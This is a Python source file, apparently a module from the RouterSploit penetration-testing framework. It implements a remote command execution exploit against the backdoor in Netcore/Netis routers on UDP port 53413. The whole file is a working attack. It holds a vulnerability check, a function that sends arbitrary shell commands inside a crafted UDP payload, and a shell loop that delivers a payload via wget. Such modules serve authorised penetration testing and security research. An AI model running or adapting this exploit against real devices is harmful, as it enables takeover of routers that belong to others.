import socket

from routersploit import (
    exploits,
    print_success,
    print_status,
    print_error,
    mute,
    shell,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for Netcore/Netis backdoor functionality.
    If the target is vulnerable it allows to execute command on operating system level.
    """
    __info__ = {
        'name': 'Netcore/Netis UDP 53413 RCE',
        'authors': [
            'Tim Yeh, Trend Micro',  # vulnerability discovery
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
        ],
        'description': 'Exploits Netcore/Netis backdoor functionality that allows executing commands on operating system level.',
        'references': [
            'https://www.seebug.org/vuldb/ssvid-90227',
            'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/',
        ],
        'devices': [
            'Netcore',
            'Netis',
        ],
    }

    target = exploits.Option('', 'Target IP address')

    def run(self):
        if self.check():
            print_success("Target is vulnerable")
            print_status("Invoking command loop...")
            shell(self, architecture="mipsle", method="wget", location="/var")
        else:
            print_error("Target is not vulnerable")

    def execute(self, cmd):
        payload = "AA\x00\x00AAAA" + cmd + "\x00"
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(10.0)

        try:
            sock.sendto(payload, (self.target, 53413))
            response = sock.recv(1024)
            return response[8:]
        except Exception:
            pass

        return ""

    @mute
    def check(self):
        response = ""
        payload = "\x00" * 8

        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(10.0)

        try:
            sock.sendto(payload, (self.target, 53413))
            response = sock.recv(1024)
        except Exception:
            pass

        if response.endswith("\xD0\xA5Login:"):
            return True  # target is vulnerable
        elif response.endswith("\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00\x00"):
            return True  # target is vulnerable

        return False  # target is not vulnerable
